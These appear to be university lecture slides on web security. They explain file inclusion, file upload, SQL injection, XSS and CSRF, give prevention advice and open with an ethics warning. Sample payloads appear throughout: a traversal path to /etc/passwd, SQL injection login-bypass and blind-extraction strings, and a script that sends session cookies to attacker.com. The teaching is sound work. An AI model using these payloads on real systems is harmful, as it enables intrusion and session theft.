

Chapter 10. Web Security

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World Wide Web (Web in short)

- **Nowadays, we cannot imagine a world without Web**
 - Millions of people use web to share and get information
- **At the same time, security of the Web system is becoming more and more important**
- **Let's learn about what kind of vulnerabilities can exist in the Web**



Ethics

- In this chapter, you may learn various security issues and attacks that can occur in the Web
- But **never** try any kind of attacks on real-world websites
 - It is an illegal action and you may get punished by the laws:
[형법], [개인정보보호법], [정보통신망 이용촉진 및 정보보호 등에 관한 법률]
- Try these attacks only in legally safe circumstance
 - Ex) Practice on your own website running in your own server
 - Ex) Penetration testing permitted by the website owner

Bonus Lab

- **This time, it's difficult to offer you a lab environment**
 - There are subtle issues in web-hacking practice
- **Instead, let me introduce DVWA (D*** Vulnerable Web Application): <https://github.com/digininja/DVWA>**
 - A PHP + MySQL web application with intentional vulnerabilities (for educational purpose)
 - Of course, do not run this as a publicly accessible webpage
 - Docker images are also offered, so I expect you can easily setup and run this web application to practice web attacks
- **This will not be included in the score**
 - Just provided for students who are deeply interested in the Web security

Topics

■ Background on the Web


- HTTP
- HTML and JavaScript
- Cookie
- Server-side code and backend database

■ Various vulnerabilities and attacks in the Web

- File inclusion vulnerability
- File upload vulnerability
- SQL injection vulnerability
- Cross-site scripting (XSS)
- Cross-site Request Forgery (CSRF)

Client and Server

- When you (client) visit or use a website, there occurs a communication between the browser and web server
 - You (your browser) request for a specific page
 - The web server responds with the corresponding content
 - The replied content is rendered by your browser



URL (Uniform Resource Locator)

- Roughly speaking, it is something that you type in the *address bar* (주소창) of a browser
- More formally, it is a standardized identifier that refers to a resource in the Internet

- https://cs.sogang.ac.kr/cs/cs0_5.html

Protocol

Host name


Path (of document)

- <https://cs.sogang.ac.kr/front/cmsboardlist.do?bbsConfigFK=1905>

Query (used to pass data to web server)

HTTP(S) Protocol

- What does request and response look like at low-level?
- Request and response follow a protocol called HTTP(S)
 - HTTPS is a securely encrypted version of HTTP: eavesdropper cannot figure out what kind of data is being exchanged




HTTP Request and Response

■ HTTP request



■ HTTP response



HTML

■ Hypertext Markup Language for web page

- Not a programming language
- Use markup tags (<body>, , <p>, ...) to describe the content and layout of a webpage
- May contain *hyperlinks* that redirect you to other pages

■ Interpreted and rendered by the browser

```
<html>
  <head>
    <title>Example</title>
  </head>
  <body>
    <p>Hello world</p>
  </body>
</html>
```

JavaScript

■ Allows more dynamic feature in your webpage

- HTML document may contain JavaScript code that can modify the content of HTML dynamically
- Ex) Redirect the document to another page upon a user click

■ Note that such script code is executed in the client-side browser

```
<html>
  <button type="button"
          onclick="window.location='http://cs.sogang.ac.kr'">
    Click this!
  </button>
</html>
```

Cookie


- Assume that a website tries to implement a user authentication (i.e., the "login" feature)
- How can the web server remember whether the client had previously logged in successfully or not?
 - HTTP protocol is stateless: once a request-response interaction is done, the connection is gone
 - Therefore, we instead make the browser keep small piece of data called **cookie**: this can be used to identify each user



My cookie:
SESSIONID=eZkvm3...
...

Cookie

- Upon successful login, server sends a unique session ID as a cookie: client will store it and use it later




Server-Side Code

- Often, a website interacts with the user and dynamically generates the outputs for the user
- In that sense, such dynamic websites are sometimes called web application (code that runs on server)
- Such server-side code can be written in many different languages and frameworks
 - PHP, Python (Django), Java (Spring), Ruby (Ruby on Rails), JavaScript (node.js)



Example: PHP


- Assume that a web programmer wrote code in PHP
- When the client requests, the PHP file (e.g., index.php) is executed by PHP engine in the Web server
 - Such PHP code can generate HTML document dynamically



Database

■ Usually, web server also maintains a backend database

- To store various data that enables rich functionality of website
 - Ex) Posts that someone uploads in the bulletin
 - Ex) ID, password, and account information of each user
- The server-side code (e.g., PHP code) will send a query to the database and retrieve the data required for its logic



Threat Model (1)

■ What kind of attacker should we assume in the Web?

- First, the attacker may directly connect to the web server
- If the web application is vulnerable, the attacker can steal private data in the DB or compromise the web server




Web server

Threat Model (2)

■ What kind of attacker should we assume in the Web?

- Next, the web server may be owned by a malicious attacker
 - Or a benign server could have been compromised
- In this case, the content (response) of web application is fully decided by the attacker



Threat Model (3)


■ What kind of attacker should we assume in the Web?

- Lastly, the attacker can induce a normal user to click a maliciously crafted **URL** link (that contains some queries)
- Upon the click, the user gets attacked (e.g., data gets stolen)



Threat Model (4)

- In many cases, these attacker models can be mixed in a single attack scenario!
 - Ex) An attacker (1) owns its own server, and at the same time (2) tempts a victim user to visit a malicious URL



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- **File inclusion vulnerability**
- File upload vulnerability
- SQL injection vulnerability
- Cross-site scripting (XSS)
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File Inclusion

- The server-side code for web application is often divided into multiple files
 - One functionality for each module (file)
- Then, one of the code file can *include* another file
 - The included file content will be embedded into current page

main.php

```
<?php
    include 'intro.php';
    include 'menu.php';
    ...
?>
```

File Inclusion

- What if the file to include is decided by the content of HTTP request?
- For instance, the webpage contains a hyperlinks with different query values in the URL
 - Upon the click, appropriate feature will be shown through `a.php`
 - Note: "`$_GET[]`" is PHP syntax to retrieve these query values

(Webpage shown to the user)

Click what you want!

[Login](#)

[Join](#)

...

Link:

`a.php?feature=join.php`


`a.php`

```
<?php
    include $_GET['feature'];
?>
```

File Inclusion Vulnerability

- It will run fine if the user clicks the provided links only
- However, a malicious attacker will try to put arbitrary value in the query
 - Ex) Tries directory traversal (path traversal) attack
 - Assuming that the PHP engine is running in a Linux server

`www.target.com/a.php?feature=../../../../etc/passwd`



`a.php`

```
<?php
    include $_GET['feature'];
?>
```


Preventing File Inclusion Attack

- **Filter the input before using it as a file path to include**
 - Remove the `"../"` pattern from the input
 - Ex) `basename("../../../etc/passwd")` will return the file name `"passwd"` only
 - Maintain an allowed list of files that are intended to be included
 - If the value of `$_GET['feature']` is not included in the allowed list, do not execute `include` statement with that input

Topics

■ Background on the Web


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
File Upload

- **File upload is a common feature in web applications**
 - Ex) Bulletin where users can attach a file or insert an image when writing a post
 - Assume that uploaded files are stored in a specific directory




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File Upload Vulnerability


- Now, what happens if an attacker uploads and accesses PHP file written with a malicious purpose?
 - The server (and PHP engine) will think that it (`a.php`) is the code that has to be executed and returned as a request



File Upload Vulnerability

■ Now, what happens if an attacker uploads and accesses PHP file written with a malicious purpose?

- The server (and PHP engine) will think that it (`a.php`) is the code that has to be executed and returned as a request



Preventing File Upload Attack

- **Sanitize user inputs (files) before accepting them**
- **Check the extension of the file to be uploaded**
 - Ex) Reject the files that end with `.php` extension
 - You must be careful when deciding the deny-list: for example, the `.pht` extension is also interpreted as PHP file
- **Check the content of the file to be uploaded**
 - Ex) Reject the files that contains "`<?php`" in the content
 - Again, an incomplete deny-list can be bypassed: for example, "`<?`" tag works in the same way with "`<?php`"
- **Configure the upload directory as non-executable**
 - Then the PHP engine will not try to execute the files under `files/` directory in the previous example

Topics

■ Background on the Web


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■ Various vulnerabilities and attacks in the Web

- File inclusion vulnerability
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Database Revisited

- Recall that the server-side code can send a query to the database and retrieve the required data
 - Let's take a closer look at this step
 - Ex) A user will type in ID and password to login; server has to check whether it is a valid information for authentication



HTTP Revisited: GET vs POST

- Previously, I explained as if **GET query string** is the only way to send data to the server when visiting a page
 - This reveals the transferred data in the URL (can be a problem if the visited URL is recorded in the browser history)

```
GET /login.php?id=jason&pw=asdf HTTP/1.1  
Host: abc.com  
...
```


- Alternatively, in the **POST** method, the data can be sent within the body of the HTTP request

```
POST /login.php HTTP/1.1  
Host: abc.com  
...  
(Body) id=jason&pw=asdf
```

SQL in the Server-side Code

login.php


```
<?php
$id = $_POST['id'];
$pw = $_POST['pw'];
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
$r = mysql_query($q);
?>
```



SQL in the Server-side Code

"user" table in the database

id	pw	snn	...
jason	asdf	990515-*****	
admin	qwer1234	970403-*****	




SQL Injection

- What if the attacker includes a single quote ' in the ID?
 - The quote will be interpreted as a part of the query
 - If -- is added after the quote, the remaining clause is ignored
 - In MySQL, "--" indicates the start of one-line comment
 - The attacker can login as **admin**, without knowing the password

login.php

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

id=admin' --
pw=anything



(Query) SELECT * FROM user WHERE id='admin' --' AND ...

SQL Injection

- What if the attacker includes a single quote ' in the ID?
 - The quote will be interpreted as a part of the query
 - If -- is added after the quote, the remaining clause is ignored
 - In MySQL, "--" indicates the start of one-line comment
 - The attacker can login as **admin**, without knowing the password

(Database)

id	pw	snn	...
jason	asdf	990515-*****	
admin	qwer1234	970403-*****	


(Query) `SELECT * FROM user WHERE id='admin' --' AND ...`

Variants of SQL Injection

- **In the previous example, the attacker could login as the admin account**
 - But this does not reveal the actual password (**pw**) or the social network number (**ssn**) of **admin** stored in the DB
 - Unless the login page prints them upon a successful login
- **By extending the idea of SQL injection, the attacker can also disclose the content of more columns in the DB**
 - The attacker will send multiple requests and gradually leak the information little by little
 - This is also known as **blind SQL injection**

Blind SQL Injection: Basic Idea

- **Attacker will send a request and monitor the response**
 - Depending on the result of query, the response will be different
 - Ex) Whether the login succeeded or not
 - The attacker slightly changes the input and repeats the process



Blind SQL Injection with SUBSTR()

- While there are various techniques for blind SQL injection, we will consider SUBSTR() in MySQL
- **SUBSTR(str, off, len)** extracts a substring that starts at offset **off** and contains **len** characters
 - Ex) SUBSTR("Hello MySQL", 7, 2) will return "My"
 - **Note:** In MySQL, the offset starts from 1, not 0
- How can the attacker use this for SQL injection?


Blind SQL Injection Example

■ The attacker will start with the following input as ID:

▪ `admin' AND SUBSTR(pw,1,1)=='a' --`

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'q'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw,1,1)=='a'
```

id	pw	snn	...
jason	asdf	990515-*****	
admin	qwer1234	970403-*****	


Blind SQL Injection Example

■ The attacker will start with the following input as ID:

- `admin' AND SUBSTR(pw,1,1)=='a' --`
- For this input, the server will respond with login failure

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'q'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw,1,1)=='a'
```

Server's response:




Blind SQL Injection Example

- Next, the attacker will try other characters one by one
 - 'b', 'c', 'd' ... in the place of 'a'
 - Until the server responds with login success

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'q'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw,1,1)=='b'
```

Server's response:




Blind SQL Injection Example

- Next, the attacker will try other characters one by one
 - 'b', 'c', 'd' ... in the place of 'a'
 - Until the server responds with login success

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'q'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw,1,1)=='c'
```

Server's response:




Blind SQL Injection Example

- Next, the attacker will try other characters one by one
 - 'b', 'c', 'd' ... in the place of 'a'
 - Until the server responds with login success

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'q'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw,1,1)=='d'
```

Server's response:




Blind SQL Injection Example

- Next, the attacker will try other characters one by one
 - 'b', 'c', 'd' ... in the place of 'a'
 - Until the server responds with login success

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'q'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw,1,1)='q'
```

Server's response:




OK, then the first
character is 'q' !

Blind SQL Injection Example

- Now the attacker move on to the second character
 - Use **SUBSTR(pw, 2, 1)** instead of **SUBSTR(pw, 1, 1)**
 - And repeat the process again, until the entire string is leaked

```
$q = "SELECT * FROM user WHERE id='$id' AND pw='$pw'";
```

(Omitted the parts that
are commented out)



'w'

```
SELECT * FROM user WHERE id='admin' AND SUBSTR(pw, 2, 1)='a'
```

id	pw	snn	...
jason	asdf	990515-*****	
admin	qwer1234	970403-*****	

Figuring out the Column Name

- In the previous blind SQL injection, we assumed that the column name of password (pw) is known
 - Sometimes, the attacker may guess such a predictable name
- To disclose such column names, the attacker can use other variants of SQL injection
 - Union-based SQL injection
 - Accessing MySQL's metadata table: `information_schema`
 - We will not discuss these in details (you can search for these keywords in Google if you are really interested)

Preventing SQL Injection

- **We must prevent user data from being used as code**
 - Ex) By escaping the single quote in the user input
 - ... WHERE id='admin\' --' AND pw=...
- **But it may not be wise to implement your own logic for sanitization or replacement (easy to make mistake)**
- **The language you use will already have such features**
 - *Prepared statements, parameterized query, ...*

Prepared statements in PHP

```
$m = new mysqli(...);  
$stmt = $m->prepare("SELECT * FROM user WHERE id=? and pw=?");  
$stmt->bind_param("ss", $id, $pw);  
$stmt->execute();
```

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- **Cross-site scripting (XSS)**
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JavaScript and Cookie Revisited

- Recall that JavaScript (JS) code can do various things and enables dynamic features in the webpage
- For example, JS code can also access and manipulate the cookies stored in the browser
- **Demonstration:**
 - Open *developer mode* in chrome browser by pressing F12 key
 - The developer mode allows you to run some JS code snippet
 - Type "`alert(document.cookie)`" in the *console* tab
 - When you press enter, an alert window will show up

Cross-Site Scripting (XSS)

- In normal situation, browser must execute JavaScript (JS) code written by the developer of web application
- Cross-site scripting (XSS) means that an attacker is controlling the JS code that is executed in the browser
 - Note that the JS code is executed in the side of victim user
 - So XSS is often called *client-side attack*
- What happens if the attacker can execute the following JS code in your browser?

```
<script>  
  window.location="http://attacker.com?" + document.cookie  
</script>
```

Cross-Site Scripting (XSS)

- Then, your session ID (SID) cookie will be sent to the website owned by the attacker (attacker.com)
 - If the attacker had prepared `index.php` page that dumps `$_GET['SID']` in the server, your session ID will be recorded
 - Then, the attacker can use this information and pretend as if the attacker had logged in with your account



Stored XSS

- Now let's see how such XSS attacks can actually occur
- First, in **stored XSS** (a.k.a. persistent XSS), the attacker will insert malicious JS code to the target server
 - (Caution) Two web servers will appear in this attack scenario: attacker's server and vulnerable target server
- Assume that there is a web service that allows each user to choose a profile message
 - And this message will be stored in the DB


Target Web Server



Profile message of each user will be stored


Stored XSS

- If the user stores a benign string message in the profile message, everything will run fine



Stored XSS


- If the user stores a benign string message in the profile message, everything will run fine



Stored XSS

■ What if attacker stores JS code in the profile message?


- Ex) `<script>alert("XSS")</script>`



Stored XSS

■ What if attacker stores JS code in the profile message?


- Ex) `<script>alert("XSS")</script>`



Stored XSS


■ Now what about this JS code?

- Ex) `<script>window.location="http://attacker.com..."`




Reflected XSS

- In **reflected XSS**, malicious JS code is not stored in the server DB; it is embedded in malicious URL link
 - The attacker will induce the victim user to click this link
- Consider the following web application
 - This server-side code will be executing in the target server




Reflected XSS

- What if an attacker sends this URL to the victim?
 - Ex) `target.com/index.php?name=<script>...</script>`



Reflected XSS

- What if an attacker sends this URL to the victim?
 - Ex) `target.com/index.php?name=<script>...</script>`



Same Origin Policy (SOP)

- We have discussed XSS that steals browser cookies
- But what is the scope of cookies that can be stolen?
 - For example, can XSS attack steal **all the cookies** set by the websites that have been visited until now?
- Due to the same origin policy (SOP), XSS attack can only steal the **cookies set by the current website**
- SOP is an important access control mechanism of browser, so search for more details if you are interested

Preventing XSS Attack

- Sanitize the user input before it is stored or sent back to the user (and shown as a part of HTML)
- Similarly to the prevention of SQL injection, it is easy to make mistake if you implement your own logic
 - Use the functions provided from the language you are using
 - Ex) `htmlspecialchars()` of PHP will convert "`<script>`" into "`<script>`"
 - Now, the escaped string will appear as below in the browser



(Now shown as string, not executed as code anymore)

Topics

■ Background on the Web

- HTTP
- HTML and JavaScript
- Cookie
- Server-side code and backend database


■ Various vulnerabilities and attacks in the Web

- File inclusion vulnerability
- File upload vulnerability
- SQL injection vulnerability
- Cross-site scripting (XSS)
- **Cross-site Request Forgery (CSRF)**

CSRF Example


■ First, assume a target Web server with a bulletin service

- Users must be able to edit or delete their own post
- Let's assume that once a user clicks the "Edit" button, proper parameters are set and passed to the server via GET method
- The server will read `$_GET['action']` and `$_GET['num']`, check session ID and permission, then handle the request




CSRF Example

- **Now, assume another Web server owned by an attacker**
 - The attacker will disguise this **puppy.com** as a benign website, so the victim user will not recognize that it's a malicious one
 - Assume that the victim is using the previous **abc.com** website in one tab, and visiting **puppy.com** in another tab




CSRF Example

- What if an attacker inserts the following image in the webpage? (is an HTML tag for image)
 - ` `
 - It will send HTTP request to `abc.com`, trying to fetch an image
 - And this will be invisible to the user (`height=width=0`)



CSRF Example

- Then, the victim user (browser) will silently interact with the target server (abc.com) in unexpected ways
 - The victim's post will be deleted without informing the victim
 - In general, this may result in more serious outcomes, such as deletion of account or transfer of money in online banking



Preventing CSRF Attacks

- First, note that using POST method **cannot** prevent this
 - Attacker's script will become complex but CSRF is still possible
- Instead, Website can use **CSRF tokens for validation**
 - Server-side code decides a randomized token for each session and make it included in the user's request



Preventing CSRF Attacks

- Then, the server-side code will validate if the request from the user contains the previously decided token
 - If the token does not match, server will not process the request
- An attacker that runs another website cannot know the value of this token, so CSRF can be prevented

